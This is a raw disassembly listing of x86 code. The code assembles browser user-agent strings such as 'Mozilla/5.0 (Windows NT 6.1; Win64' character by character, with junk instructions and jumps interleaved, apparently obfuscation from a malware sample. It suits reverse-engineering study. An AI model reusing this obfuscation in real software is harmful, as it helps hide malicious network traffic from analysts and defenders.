bt ecx, 0xe0
ror cx, cl
mov word [ebp - 0x1db0], ax
cmc
mov ecx, 0x31
movsx edx, dx
rol ax, 0x18
ror dx, cl
mov word [ebp - 0x1dae], cx
mov edx, 0x35
stc
sal ch, cl
mov word [ebp - 0x1dac], dx
shld ax, si, 0xca
mov eax, 0x20
sbb cl, ch
rol ecx, cl
rcr ecx, cl
mov word [ebp - 0x1daa], ax
lahf
inc ch
btc ax, 0xfb
mov ecx, 0x56
movsx eax, si
rcr ah, 0x5d
bts ax, si
mov word [ebp - 0x1da8], cx
mov edx, 0x65
bt eax, 0xf5
rcr ecx, 0xaf
mov word [ebp - 0x1da6], dx
bsr ecx, eax
mov eax, 0x72
mov word [ebp - 0x1da4], ax
rol edx, cl
or ecx, 0x193d0b7d
mov ecx, 0x73
sar ax, cl
and eax, eax
mov word [ebp - 0x1da2], cx
btc edx, esp
mov edx, 0x69
bts ax, dx
ror al, 0x14
mov word [ebp - 0x1da0], dx
mov eax, 0x6f
mov word [ebp - 0x1d9e], ax
xor al, 0xdf
mov ecx, 0x6e
sbb dx, bp
shrd dx, di, 8
mov word [ebp - 0x1d9c], cx
shl dx, cl
xchg cl, cl
mov edx, 0x2f
cmp ch, dh
bts eax, esp
btc ax, dx
mov word [ebp - 0x1d9a], dx
mov eax, 0x31
shl ch, 0x95
movzx cx, bh
mov word [ebp - 0x1d98], ax
adc dl, 0x82
mov ecx, 0x30
sar dl, 0xaf
bts ax, di
btr dx, di
mov word [ebp - 0x1d96], cx
shr edx, cl
mov edx, 0x2e
mov word [ebp - 0x1d94], dx
mov eax, ecx
mov word [ebp - 0x1d92], ax
bts ax, bp
rcr ah, 0x97
bsr ax, si
mov word [ebp - 0x1d90], cx
bt eax, 0x41
mov ax, 0x5e94
and ax, dx
xor edx, edx
mov al, 0xd2
mov ax, di
movzx eax, sp
mov word [ebp - 0x1d8e], dx
movsx ax, bh
mov eax, 0x47f13ebc
push 0x16c
push edx
cwde
lea eax, [ebp - 0x1d8c]
jmp 0x737be4
mov word [ebp - 0x1dd2], cx
adc ch, 0xca
mov word [ebp - 0x1dd0], dx
mov word [ebp - 0x1dce], ax
mov eax, esi
shld edx, ebx, 0x35
mov ecx, 0x65
mov word [ebp - 0x1dcc], cx
bswap edx
shr edx, cl
mov edx, 0x6e
sub cl, bl
cmp dx, bp
dec ah
mov word [ebp - 0x1dca], dx
and dl, bh
movsx edx, di
rcl dl, 0xb5
mov eax, 0x29
rcr cl, cl
or dx, si
mov word [ebp - 0x1dc8], ax
and dl, 0x90
xadd dl, al
jmp 0x720b12
mov edx, 0x20
mov word [ebp - 0x119a], dx
cmovb edx, esi
mov eax, 0x6c
mov word [ebp - 0x1198], ax
sar dh, 0x8d
adc al, dl
clc
mov ecx, 0x69
mov word [ebp - 0x1196], cx
bsr ecx, ebp
dec dx
adc ah, 0x1e
mov edx, 0x6b
bsr ecx, edi
mov word [ebp - 0x1194], dx
sub ah, 0x70
shr ah, 0xaf
mov eax, 0x65
mov word [ebp - 0x1192], ax
mov ecx, 0x20
movsx dx, bl
mov word [ebp - 0x1190], cx
btc dx, di
movsx edx, si
mov edx, 0x47
rcl cl, 0xb9
mov word [ebp - 0x118e], dx
cmp dh, 0xa1
and cx, 0x388
mov word [ebp - 0x118c], ax
mov ecx, 0x63
bsr eax, ebx
or edx, esi
mov word [ebp - 0x118a], cx
mov edx, 0x6b
mov word [ebp - 0x1188], dx
mov eax, 0x6f
cmp ebp, esp
bswap cx
btr ecx, 0x23
mov word [ebp - 0x1186], ax
neg al
mov ecx, 0x29
shld dx, cx, 0
mov word [ebp - 0x1184], cx
bsf dx, di
sbb ah, bl
shrd ecx, ecx, 0x59
mov edx, 0x20
sal ah, 0x67
mov word [ebp - 0x1182], dx
ror ecx, cl
bt ax, 0xf6
mov eax, 0x43
test edx, ebx
mov word [ebp - 0x1180], ax
mov ecx, 0x68
mov edx, 0x28214c9e
bsr edx, ebp
ror ax, cl
mov word [ebp - 0x117e], cx
ror ah, 0x32
mov edx, 0x72
bts eax, ecx
bsr ax, ax
xchg al, al
mov word [ebp - 0x117c], dx
sbb ch, 0x70
mov eax, 0x6f
bt ecx, edx
ror ecx, cl
bt ecx, 0xf4
mov word [ebp - 0x117a], ax
sub eax, 0x14bf7a63
bt ax, sp
mov ecx, 0x6d
shl dl, cl
mov word [ebp - 0x1178], cx
bts ax, cx
sar cx, 0x3a
mov edx, 0x65
xchg al, cl
mov word [ebp - 0x1176], dx
rcr eax, cl
shl ch, 0xe6
mov eax, 0x2f
mov word [ebp - 0x1174], ax
add cl, 0xd2
rcl ecx, cl
btr dx, 0x4e
mov ecx, 0x38
mov word [ebp - 0x1172], cx
rcl ecx, 0x2d
stc
mov edx, 0x37
mov word [ebp - 0x1170], dx
btr cx, ax
shrd eax, eax, 0x70
mov eax, 0x2e
xchg dx, cx
bts edx, ebx
mov word [ebp - 0x116e], ax
neg cx
shl dh, cl
mov ecx, 0x30
sub dh, dh
mov word [ebp - 0x116c], cx
ror cx, cl
test bx, 0x71a4
mov edx, eax
adc ch, ch
mov word [ebp - 0x116a], dx
neg cl
add al, 0xdc
bts eax, edx
mov eax, 0x34
mov word [ebp - 0x1168], ax
movsx edx, ax
sar dx, 0xa1
mov ecx, 0x32
movsx edx, cx
mov word [ebp - 0x1166], cx
and cx, di
mov edx, 0x38
mov word [ebp - 0x1164], dx
mov eax, 0x30
mov word [ebp - 0x1162], ax
and cx, bp
sub cx, bp
shrd eax, esi, 0xe4
mov ecx, 0x2e
mov word [ebp - 0x1160], cx
cmp dx, sp
sal cl, cl
mov word [ebp - 0x115e], dx
add ecx, esp
cmc
mov eax, edx
xor ecx, ebp
test bl, 0xb
sal edx, 0x74
mov word [ebp - 0x115c], ax
lahf
mov ecx, 0x20
cmovs dx, ax
bt eax, 0x90
bts edx, esp
mov word [ebp - 0x115a], cx
mov edx, 0x53
btc ax, dx
bt eax, edi
mov word [ebp - 0x1158], dx
add cl, 0x6d
mov eax, 0x61
mov ecx, esi
movsx cx, cl
mov word [ebp - 0x1156], ax
sar dl, cl
and ecx, 0x7d6215cc
clc
mov ecx, 0x66
shl dh, cl
cdq
mov word [ebp - 0x1154], cx
mov edx, eax
test ch, 0xeb
add ch, 0x78
mov word [ebp - 0x1152], dx
stc
mov eax, 0x72
or ecx, ecx
ror cx, cl
sal ecx, 0xbc
mov word [ebp - 0x1150], ax
shr dh, cl
ror dh, cl
mov ecx, 0x69
sar dh, 1
xor eax, 0x7d037170
mov word [ebp - 0x114e], cx
mov edx, 0x2f
ror cx, 0xfd
xadd ecx, ecx
cmp eax, ebp
mov word [ebp - 0x114c], dx
mov eax, 0x35
cmp dx, 0x71f4
ror cx, cl
mov word [ebp - 0x114a], ax
or ax, si
mov ecx, 0x33
test ebx, ebp
btc eax, eax
mov word [ebp - 0x1148], cx
mov edx, 0x37
rcr ax, 0x81
mov word [ebp - 0x1146], dx
xor edx, esi
sub ax, cx
mov edx, 0x44e216ee
mov eax, 0x2e
sar dl, 0x9a
xor edx, 0x3f5636be
bsf edx, ecx
mov word [ebp - 0x1144], ax
cwd
mov word [ebp - 0x1142], cx
mov ecx, 0x2c9d777d
and ch, bh
btr cx, 0x15
mov edx, 0x36
mov word [ebp - 0x1140], dx
rcl cl, 0x9a
clc
sub eax, eax
jmp 0x7b78aa
push eax
jmp 0x8ceff2
push eax
call fcn.00473d40
add esp, 0xc
mov ecx, 0x4f
mov word [ebp - 0x1c20], cx
neg dx
shr al, cl
test cl, 0x38
mov edx, 0x70
adc eax, 0x37685978
btc cx, bx
mov word [ebp - 0x1c1e], dx
sar cx, 0xce
shld cx, ax, 0x7a
bt ax, 0xf3
mov eax, 0x65
bsf dx, bx
shl edx, cl
sbb edx, esp
mov word [ebp - 0x1c1c], ax
rol eax, 0xb7
stc
clc
mov ecx, 0x72
mov word [ebp - 0x1c1a], cx
sbb dx, si
mov edx, 0x61
rol eax, cl
and ax, si
rcl al, cl
mov word [ebp - 0x1c18], dx
sal ch, cl
or cx, si
mov eax, 0x2f
and ecx, ebp
mov word [ebp - 0x1c16], ax
movzx ecx, sp
cbw
mov ecx, 0x39
sar dx, 0x82
mov word [ebp - 0x1c14], cx
mov edx, 0x2e
or ecx, edx
mov word [ebp - 0x1c12], dx
shld cx, si, 0x54
sbb dx, ax
sal dh, cl
mov eax, 0x36
movzx edx, sp
xadd dh, cl
adc dl, ch
mov word [ebp - 0x1c10], ax
cbw
stc
mov ecx, 0x30
mov word [ebp - 0x1c0e], cx
mov edx, 0x20
movsx eax, cx
mov word [ebp - 0x1c0c], dx
stc
mov eax, 0x28
jmp 0x819f21
mov word [ebp - 0x1bfa], dx
rcl ecx, 0x83
shr al, cl
mov eax, 0x4e
and ecx, edi
mov word [ebp - 0x1bf8], ax
mov ecx, 0x54
adc ah, 9
mov word [ebp - 0x1bf6], cx
mov word [ebp - 0x1bf4], dx
mov eax, 0x36
bts ecx, esp
shl ch, 0xdb
mov word [ebp - 0x1bf2], ax
mov ecx, 0x2e
cbw
mov word [ebp - 0x1bf0], cx
sub dx, 0x547b
test di, 0x3426
mov edx, 0x30
movsx ecx, sp
clc
mov word [ebp - 0x1bee], dx
mov eax, 0x3b
inc cl
mov word [ebp - 0x1bec], ax
bt edx, ebp
mov ecx, 0x20
mov word [ebp - 0x1bea], cx
clc
and dx, cx
sbb dh, 0x15
mov edx, 0x55
stc
mov word [ebp - 0x1be8], dx
mov word [ebp - 0x1be6], ax
sal edx, cl
mov word [ebp - 0x1be4], cx
rcr dx, cl
shr al, cl
mov edx, 0x65
sar cx, 0x93
mov word [ebp - 0x1be2], dx
mov eax, 0x6e
adc cx, bx
mov word [ebp - 0x1be0], ax
mov ecx, 0x29
test dx, bp
mov word [ebp - 0x1bde], cx
cwde
and ah, 0xd6
mov edx, 0x20
shl ax, cl
btc cx, ax
mov word [ebp - 0x1bdc], dx
rol al, 0x67
test cx, ax
sal eax, cl
mov eax, 0x50
mov word [ebp - 0x1bda], ax
rcr cl, cl
rcr ax, 0xb5
inc ecx
mov ecx, 0x72
cmp ebp, 0x4ef728d4
neg eax
mov word [ebp - 0x1bd8], cx
inc al
mov edx, 0x65
mov word [ebp - 0x1bd6], dx
rdtsc
btr dx, di
cbw
mov eax, 0x73
test ecx, 0x60a4bc5
mov word [ebp - 0x1bd4], ax
mov ecx, 0x74
sal dl, cl
mov word [ebp - 0x1bd2], cx
bsr ax, di
dec dl
mov edx, 0x6f
btc eax, 0x74
mov word [ebp - 0x1bd0], dx
mov eax, 0x2f
test al, ah
adc dx, di
mov word [ebp - 0x1bce], ax
bswap cx
btc cx, ax
add ch, ah
mov ecx, 0x32
mov word [ebp - 0x1bcc], cx
mov edx, 0x2e
mov word [ebp - 0x1bca], dx
bsf ax, dx
cmp bl, 0x4d
sal ax, cl
mov eax, 0x31
bsf ecx, ebp
mov word [ebp - 0x1bc8], ax
adc ecx, ebp
bts ecx, esp
mov ecx, edx
mov word [ebp - 0x1bc6], cx
sar cl, cl
mov edx, eax
inc ecx
rcr ch, 0x9a
xor ecx, 0x2fe03507
mov word [ebp - 0x1bc4], dx
btr ecx, ecx
sub eax, eax
bswap cx
mov ecx, ebp
movsx ecx, sp
mov word [ebp - 0x1bc2], ax
cmovnp ecx, edx
mov ch, 0xac
bswap ecx
push 0x1a0
push eax
cmovns cx, dx
movzx ecx, di
not cl
lea ecx, [ebp - 0x1bc0]
push ecx
jmp 0x77881f
push ebx
push esi
push edi
xchg bx, bx
movsx ebx, ax
push eax
cmovp si, sp
mov esi, 0x47e82f2b
movzx bx, bh
lea eax, [ebp - 0x10]
bswap si
xchg bh, bh
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, dword [ebp + 8]
bswap esi
mov eax, dword [ebp + 0xc]
jmp 0x6ac184
call fcn.00473d40
lea esp, [esp + 0xc]
ror ah, 0x8f
mov edx, 0x4d
mov word [ebp - 0x1a20], dx
mov eax, 0x6f
setns ch
mov word [ebp - 0x1a1e], ax
add ch, dh
shrd dx, ax, 0xfa
mov ecx, 0x7a
cwde
bsr dx, di
mov word [ebp - 0x1a1c], cx
xadd edx, ecx
sar cx, 0x3a
sbb cx, di
mov edx, 0x69
lahf
mov word [ebp - 0x1a1a], dx
xchg ecx, ecx
mov eax, 0x6c
dec dh
add cx, di
mov word [ebp - 0x1a18], ax
mov ecx, eax
bts eax, ebx
mov word [ebp - 0x1a16], cx
mov edx, 0x61
mov word [ebp - 0x1a14], dx
mov eax, 0x2f
movzx dx, cl
clc
mov word [ebp - 0x1a12], ax
dec al
bswap cx
mov ecx, 0x35
or ah, ah
mov word [ebp - 0x1a10], cx
sub edx, 0x571b6546
ror edx, cl
lahf
mov edx, 0x2e
rcr eax, 0xbc
cmc
sal al, 0xbf
mov word [ebp - 0x1a0e], dx
sbb ecx, esp
bt eax, 0x42
mov eax, 0x30
btc dx, bx
xor edx, esp
and dl, 0xa6
mov word [ebp - 0x1a0c], ax
btr edx, edx
xor edx, ebp
sub ch, 0x3e
mov ecx, 0x20
rcr al, 0xd9
rcl dx, 0xf8
bt eax, 0x84
mov word [ebp - 0x1a0a], cx
mov edx, 0x28
nop
mov word [ebp - 0x1a08], dx
setle dh
rol eax, 0x22
xadd ah, dh
mov eax, 0x57
test di, bx
or cl, dh
mov word [ebp - 0x1a06], ax
bswap ecx
cmp di, ax
mov ecx, 0x69
shl dx, cl
mov word [ebp - 0x1a04], cx
btc ax, 0xeb
sub ax, si
cmovle cx, di
mov edx, 0x6e
cmovs eax, ebx
rcr eax, 0xbb
btr ax, 0x36
mov word [ebp - 0x1a02], dx
xor ch, al
sal eax, 0xa4
mov eax, 0x64
bswap edx
shl cl, cl
mov edx, 0x31d714f8
mov word [ebp - 0x1a00], ax
mov ecx, 0x6f
mov word [ebp - 0x19fe], cx
inc cl
mov edx, 0x77
mov word [ebp - 0x19fc], dx
shld edx, ecx, 0x8b
mov eax, 0x73
rcr cx, 0x12
movsx edx, si
mov word [ebp - 0x19fa], ax
bsf eax, ecx
ror eax, cl
mov ecx, 0x20
movsx dx, al
xadd ax, ax
sub al, 0x7f
mov word [ebp - 0x19f8], cx
bts edx, edi
bts ax, cx
mov edx, 0x4e
shrd ax, si, 0x5c
stc
mov word [ebp - 0x19f6], dx
mov eax, 0x54
test esi, 0x436e1ac8
bsr edx, esp
adc edx, esi
mov word [ebp - 0x19f4], ax
not al
cdq
stc
mov word [ebp - 0x19f2], cx
mov edx, 0x36
mov word [ebp - 0x19f0], dx
mov eax, 0x2e
bt edx, 0x63
bswap cx
mov word [ebp - 0x19ee], ax
movsx dx, dl
movzx eax, si
lahf
mov ecx, 0x31
mov word [ebp - 0x19ec], cx
dec ch
sub eax, edi
add ecx, 0x3cf95f3a
mov edx, 0x3b
bswap cx
btc eax, edx
mov word [ebp - 0x19ea], dx
rcr edx, 0x86
rcl edx, cl
mov eax, 0x20
xor ecx, ecx
mov word [ebp - 0x19e8], ax
lahf
sub cx, bx
rcr eax, 0x51
mov ecx, 0x57
movsx eax, ax
add edx, esp
mov word [ebp - 0x19e6], cx
mov edx, 0x69
bt ax, 0x24
clc
xchg al, cl
mov word [ebp - 0x19e4], dx
cmp ebx, ecx
sub dh, 0xde
mov eax, 0x6e
mov word [ebp - 0x19e2], ax
mov ecx, 0x36
mov word [ebp - 0x19e0], cx
mov edx, 0x34
jmp 0x6789c9
mov word [ebp - 0x17b6], dx
rol cx, 0xef
btr cx, 0x51
cmc
mov eax, 0x65
cwd
ror cl, cl
rol cx, cl
mov word [ebp - 0x17b4], ax
movzx dx, dl
rcr dx, cl
mov ecx, 0x63
dec eax
sar ax, 0xd
mov word [ebp - 0x17b2], cx
btc edx, edi
mov edx, 0x6b
xadd ecx, eax
rol ax, cl
cwde
mov word [ebp - 0x17b0], dx
cmp bp, si
bt ecx, ecx
dec al
mov eax, 0x6f
shl dh, 0xa3
mov word [ebp - 0x17ae], ax
neg cl
setns ah
mov ecx, 0x2f
clc
cbw
ror al, cl
mov word [ebp - 0x17ac], cx
mov edx, 0x32
mov word [ebp - 0x17aa], dx
shl ax, 0x48
sal ah, cl
mov eax, 0x30
ror ecx, 0x3f
sbb cl, 0x6d
mov word [ebp - 0x17a8], ax
mov ecx, 0x31
mov word [ebp - 0x17a6], cx
setle dl
add edx, 0x2b7d35a4
mov edx, eax
cmp ax, 0x3ddd
mov word [ebp - 0x17a4], dx
mov word [ebp - 0x17a2], ax
mov word [ebp - 0x17a0], cx
shl ah, 0xa
rcr ah, cl
cmp ebx, 0x2eaf2619
mov word [ebp - 0x179e], dx
cmp si, bp
inc ax
mov eax, ecx
mov word [ebp - 0x179c], ax
xadd cl, cl
mov ecx, 0x20
mov word [ebp - 0x179a], cx
sbb dl, 0xf
mov edx, 0x46
mov word [ebp - 0x1798], dx
mov eax, 0x69
btr cx, cx
mov word [ebp - 0x1796], ax
movsx ax, ah
mov ecx, edi
inc dh
mov ecx, 0x72
add ax, 0x57fd
seto al
movzx ax, al
mov word [ebp - 0x1794], cx
sal edx, 7
shrd ax, ax, 0x84
cwde
mov edx, 0x65
rcl cl, cl
stc
mov word [ebp - 0x1792], dx
sub dh, 0x63
mov eax, 0x66
mov word [ebp - 0x1790], ax
sete dl
mov ecx, 0x6f
test ebp, 0x192f59f1
mov word [ebp - 0x178e], cx
movzx ecx, cx
sal ah, 0xa7
movzx dx, bl
mov edx, 0x78
shrd ecx, edx, 0xd7
mov word [ebp - 0x178c], dx
mov eax, 0x2f
mov word [ebp - 0x178a], ax
mov ecx, 0x34
movzx edx, dx
cmovo dx, di
mov word [ebp - 0x1788], cx
xor ax, 0x76fc
rcr ax, 0x6a
mov edx, 0x32
rol ah, cl
cmp dx, 0x65b1
mov word [ebp - 0x1786], dx
shl ax, cl
mov eax, esi
mov eax, 0x2e
mov word [ebp - 0x1784], ax
shr cx, 0xfe
sub ax, bp
add cx, cx
mov ecx, 0x30
xadd al, ah
bsr eax, ecx
btc eax, esi
mov word [ebp - 0x1782], cx
xor edx, edx
movsx ax, bh
mov ah, 0xd5
mov word [ebp - 0x1780], dx
jmp 0x79345e
mov ecx, 0x29
stc
mov word [ebp - 0x11d2], cx
sal eax, cl
movsx ax, dh
cdq
mov edx, 0x20
not ah
mov word [ebp - 0x11d0], dx
sal ch, cl
adc eax, edi
mov eax, 0x41
bt dx, 0xfd
mov word [ebp - 0x11ce], ax
movzx edx, di
mov ecx, 0x70
mov word [ebp - 0x11cc], cx
bts edx, esi
mov edx, ecx
btc ax, dx
mov word [ebp - 0x11ca], dx
clc
mov eax, 0x6c
btr dx, cx
xchg cl, dl
test ax, sp
mov word [ebp - 0x11c8], ax
mov ecx, 0x65
shrd eax, esp, 0x6c
cmovle ax, di
mov word [ebp - 0x11c6], cx
rcr ax, cl
mov edx, 0x57
mov eax, ecx
shrd ax, di, 0xfb
mov word [ebp - 0x11c4], dx
shr edx, cl
add ah, 0x1f
mov eax, ecx
mov word [ebp - 0x11c2], ax
lahf
mov ecx, 0x62
or edx, 0x53637ede
test ebx, 0x11925314
mov word [ebp - 0x11c0], cx
shl ax, 0xc9
btr eax, eax
sal cl, 0x60
mov edx, 0x4b
clc
mov word [ebp - 0x11be], dx
rcr ch, cl
movzx ecx, bp
sal cx, cl
mov eax, 0x69
xadd ecx, ecx
mov word [ebp - 0x11bc], ax
mov ecx, 0x74
shl ah, 0x68
btr eax, 0x30
mov word [ebp - 0x11ba], cx
sbb eax, 0x46bd3fde
xadd dx, ax
cmp esp, edx
mov edx, 0x2f
mov word [ebp - 0x11b8], dx
btr cx, si
cmc
mov eax, 0x35
xadd cl, ch
sub cx, 0x4942
mov word [ebp - 0x11b6], ax
mov ecx, 0x33
nop
mov word [ebp - 0x11b4], cx
ror edx, cl
mov eax, ebp
adc edx, esp
mov edx, 0x37
movzx ax, bl
sal ah, cl
mov word [ebp - 0x11b2], dx
bt dx, di
mov eax, 0x2e
mov word [ebp - 0x11b0], ax
mov word [ebp - 0x11ae], cx
rcl ecx, cl
and ch, dh
cmc
mov edx, 0x36
btc eax, eax
shld eax, edi, 0xfd
cbw
mov word [ebp - 0x11ac], dx
cmp sp, si
bt ecx, 0xf
bsr dx, ax
mov eax, 0x20
rcr dh, cl
cmp bh, cl
ror dx, 0xe9
mov word [ebp - 0x11aa], ax
ror dl, 0xd9
mov ecx, 0x28
cmovge eax, esp
mov word [ebp - 0x11a8], cx
xadd cl, cl
mov edx, 0x4b
xor ah, 0x61
test esi, ecx
stc
mov word [ebp - 0x11a6], dx
mov eax, 0x48
shld ecx, esi, 0xce
mov word [ebp - 0x11a4], ax
mov ecx, 0x54
sbb edx, eax
btr edx, edi
lahf
mov word [ebp - 0x11a2], cx
btr ecx, edx
add dl, 0x46
nop
mov edx, 0x4d
shr cx, 0x39
cmp esi, esp
mov word [ebp - 0x11a0], dx
stc
add al, 0x5e
mov eax, 0x4c
sar cx, 0x36
bswap cx
mov word [ebp - 0x119e], ax
mov ecx, 0x2c
mov al, cl
mov word [ebp - 0x119c], cx
sar ax, cl
jmp 0x73200c
push edx
call fcn.00473d40
lea esp, [esp + 0xc]
btc edx, 4
sub cx, 0x32a7
mov eax, 0x4d
bsr ecx, edx
cmovnp dx, sp
mov word [ebp - 0x1820], ax
cbw
mov ecx, 0x6f
mov word [ebp - 0x181e], cx
setno al
bsf dx, si
mov edx, 0x7a
mov word [ebp - 0x181c], dx
stc
btr edx, edi
mov eax, 0x69
mov word [ebp - 0x181a], ax
cmp sp, cx
mov ecx, 0x6c
bsf eax, edx
dec dx
mov word [ebp - 0x1818], cx
sal dl, 0x87
test ecx, ecx
mov edx, ecx
bsr ax, bx
mov word [ebp - 0x1816], dx
sub cl, 0x45
bsr eax, edi
mov eax, 0x61
sal dh, cl
mov word [ebp - 0x1814], ax
sal ecx, cl
mov ecx, 0x2f
sbb edx, 0x57fb0207
bts edx, esi
mov word [ebp - 0x1812], cx
xchg ah, ch
and eax, edx
mov edx, 0x35
cmp cx, bx
movsx ax, bl
mov word [ebp - 0x1810], dx
mov edx, edi
xchg ecx, ecx
mov eax, 0x2e
sar cx, cl
bsf dx, si
mov word [ebp - 0x180e], ax
inc al
shr dx, cl
shrd eax, ebx, 0x94
mov ecx, 0x30
mov word [ebp - 0x180c], cx
xor eax, 0x6b7457e8
test ecx, edi
shl dh, cl
mov edx, 0x20
sbb ah, cl
mov word [ebp - 0x180a], dx
cbw
shr ah, cl
sub ax, bp
mov eax, 0x28
mov word [ebp - 0x1808], ax
mov ecx, 0x4d
and eax, 0x5e6407d5
mov word [ebp - 0x1806], cx
test bh, 0x6d
mov edx, 0x61
mov word [ebp - 0x1804], dx
rdtsc
rcl ah, 0xfb
mov eax, 0x63
sar dl, cl
mov word [ebp - 0x1802], ax
mov ecx, 0x69
dec ax
mov word [ebp - 0x1800], cx
inc dh
mov edx, 0x6e
mov word [ebp - 0x17fe], dx
btc cx, 0xff
test bh, 0x44
shr ah, cl
mov eax, 0x74
sbb cx, di
or cl, 0xad
mov word [ebp - 0x17fc], ax
mov ecx, 0x6f
bt eax, 0x36
rcr al, cl
mov word [ebp - 0x17fa], cx
btc eax, 0x66
mov edx, 0x73
mov word [ebp - 0x17f8], dx
bswap eax
rcl ax, cl
mov eax, 0x68
rol cl, cl
sub cx, 0x5478
mov word [ebp - 0x17f6], ax
sal cx, 0xf
rdtsc
btr dx, si
mov ecx, 0x3b
movsx eax, cx
cwde
mov word [ebp - 0x17f4], cx
and ch, 0x30
bt cx, sp
mov edx, 0x20
test dh, 0xff
sar ecx, cl
mov word [ebp - 0x17f2], dx
rdtsc
mov eax, 0x49
xadd ch, dh
mov word [ebp - 0x17f0], ax
cwde
cmp sp, cx
sar cl, cl
mov ecx, 0x6e
mov word [ebp - 0x17ee], cx
sar dh, 0x89
btr ax, 0x36
rcr al, 0xc2
mov edx, 0x74
xadd cx, ax
bsr ax, cx
shld cx, sp, 0xaf
mov word [ebp - 0x17ec], dx
rcl ch, 0x7a
clc
mov eax, 0x65
test di, bx
bts ecx, edi
sbb edx, 0x55452b8f
mov word [ebp - 0x17ea], ax
mov ecx, 0x6c
test cx, bp
movzx dx, ah
mov word [ebp - 0x17e8], cx
shr ax, 0x23
sar edx, cl
sbb cx, bx
mov edx, 0x20
mov word [ebp - 0x17e6], dx
xor ax, sp
mov eax, 0x4d
neg dh
btr edx, esi
mov word [ebp - 0x17e4], ax
mov ecx, 0x61
mov word [ebp - 0x17e2], cx
test al, dl
rdtsc
mov edx, 0x63
rol ax, cl
mov ch, al
mov word [ebp - 0x17e0], dx
btr ax, di
add dl, ah
cwde
mov eax, 0x20
bsr ecx, esp
stc
mov word [ebp - 0x17de], ax
mov ecx, 0x4f
btc dx, 0xaa
mov dx, si
mov word [ebp - 0x17dc], cx
mov cl, 0xe1
movsx dx, dl
mov edx, 0x53
mov word [ebp - 0x17da], dx
mov word [ebp - 0x17d8], ax
xadd cl, cl
rcl dx, 0x45
mov ecx, 0x58
ror dx, cl
bts dx, bx
bsf dx, bp
mov word [ebp - 0x17d6], cx
shld dx, si, 0x37
xadd dx, cx
mov edx, eax
shr ecx, 0x4b
mov word [ebp - 0x17d4], dx
shl ch, cl
mov eax, 0x78
adc edx, eax
mov word [ebp - 0x17d2], ax
rcl ah, cl
cmc
mov ecx, 0x2e
mov word [ebp - 0x17d0], cx
shld ecx, edi, 0x3c
cwd
mov edx, 0x79
mov word [ebp - 0x17ce], dx
mov eax, 0x3b
clc
sub edx, 0x1bcd50ad
bt ecx, 0xc8
mov word [ebp - 0x17cc], ax
btr edx, 0xa0
cmovns cx, ax
sub dx, sp
mov ecx, 0x20
shrd eax, edx, 0x6e
inc eax
xor edx, esp
mov word [ebp - 0x17ca], cx
cdq
mov edx, 0x72
adc eax, esi
mov word [ebp - 0x17c8], dx
mov ax, bp
neg cx
btc edx, eax
mov eax, 0x76
shld edx, ecx, 0xfa
mov word [ebp - 0x17c6], ax
sal cl, cl
mov ecx, 0x3a
or eax, 0x615b6466
mov word [ebp - 0x17c4], cx
sar ch, cl
mov edx, 0x34
test esi, esi
mov word [ebp - 0x17c2], dx
dec ax
neg ch
cwd
mov eax, 0x32
movzx edx, sp
mov word [ebp - 0x17c0], ax
xor eax, 0x6d6e6214
test edx, ebx
cmc
mov ecx, 0x2e
mov word [ebp - 0x17be], cx
shld ecx, edx, 9
cwde
sar ch, 0x9c
mov edx, 0x30
shr ah, 0xae
shl cl, 0xb9
mov word [ebp - 0x17bc], dx
sete ah
mov eax, 0x29
mov word [ebp - 0x17ba], ax
sbb dh, 0x50
stc
mov ecx, 0x20
mov word [ebp - 0x17b8], cx
add eax, 0x5beb382d
xadd dx, dx
bsf edx, eax
mov edx, 0x47
btr eax, ebx
jmp 0x77d2e0
push 0x15e
movzx eax, bp
movzx ax, dl
not ax
push edx
movzx eax, cx
cmovnp ax, bx
lea eax, [ebp - 0x177e]
jmp 0x735941
mov ecx, 0x2f
rcl ax, cl
bsr edx, ebx
or edx, esi
mov word [ebp - 0xf4a], cx
adc dl, al
sbb dx, 0x1e46
lahf
mov edx, 0x35
cbw
sal ah, 0x6a
movzx ecx, bx
mov word [ebp - 0xf48], dx
xor ah, 0xdc
mov eax, 0x33
bt dx, ax
mov word [ebp - 0xf46], ax
xor cx, si
bsf ecx, ebp
mov ecx, 0x37
rol dl, 0xdf
add dl, 5
mov word [ebp - 0xf44], cx
mov edx, 0x2e
shl cl, 0x51
mov word [ebp - 0xf42], dx
mov word [ebp - 0xf40], ax
mov ecx, 0x36
bt ax, 0x65
mov ah, 0x5a
ror eax, cl
mov word [ebp - 0xf3e], cx
movsx eax, di
bts eax, edx
xor edx, edx
cwde
movzx ax, dl
mov word [ebp - 0xf3c], dx
bswap ax
push 0x11a
xchg ah, al
cbw
push edx
nop
mov eax, 0x30f5d25
jmp 0x88c843
mov word [ebp - 0xfc6], dx
add al, bl
bts eax, ecx
mov eax, 0x57
bt cx, 0x9f
rcl cl, 0x8c
shl cl, cl
mov word [ebp - 0xfc4], ax
mov ecx, edx
xor edx, 0x61e946a1
movsx edx, si
mov word [ebp - 0xfc2], cx
cmc
bts edx, esp
shr edx, cl
mov edx, 0x62
btr ax, 0x68
sub ah, ch
mov word [ebp - 0xfc0], dx
stc
bts eax, edx
mov eax, 0x4b
mov word [ebp - 0xfbe], ax
ror ch, 0x5e
mov ecx, 0x69
cwde
cbw
mov word [ebp - 0xfbc], cx
movsx ecx, dx
xchg dx, ax
rol ecx, cl
mov edx, 0x74
sal al, 0x8d
mov word [ebp - 0xfba], dx
mov eax, 0x2f
mov word [ebp - 0xfb8], ax
cmc
mov ecx, 0x35
mov word [ebp - 0xfb6], cx
bts dx, bx
or ax, 0xa58
adc eax, 0x7d0a281b
mov edx, 0x33
btc ax, dx
test di, ax
mov word [ebp - 0xfb4], dx
bt ax, si
mov eax, 0x37
sal ch, cl
mov word [ebp - 0xfb2], ax
mov ecx, 0x2e
bts ax, dx
mov word [ebp - 0xfb0], cx
mov word [ebp - 0xfae], dx
sbb edx, ebp
jmp 0x6dcdbc
mov word [ebp - 0x113e], ax
movsx ecx, di
push 0x11c
mov ch, 0xae
jmp 0x8389f3
mov word [ebp - 0x1e00], dx
mov eax, 0x74
bsr dx, bx
mov word [ebp - 0x1dfe], ax
mov ecx, 0x6f
movzx edx, sp
movsx edx, di
cmova eax, edi
mov word [ebp - 0x1dfc], cx
bt ax, 0x8f
mov edx, 0x73
cbw
rol ecx, cl
mov word [ebp - 0x1dfa], dx
btc eax, edi
cwd
mov eax, 0x68
or cx, 0x533a
setl dl
btr cx, sp
mov word [ebp - 0x1df8], ax
mov ecx, ecx
mov ecx, 0x3b
movsx edx, di
cwde
mov word [ebp - 0x1df6], cx
not eax
sub dl, cl
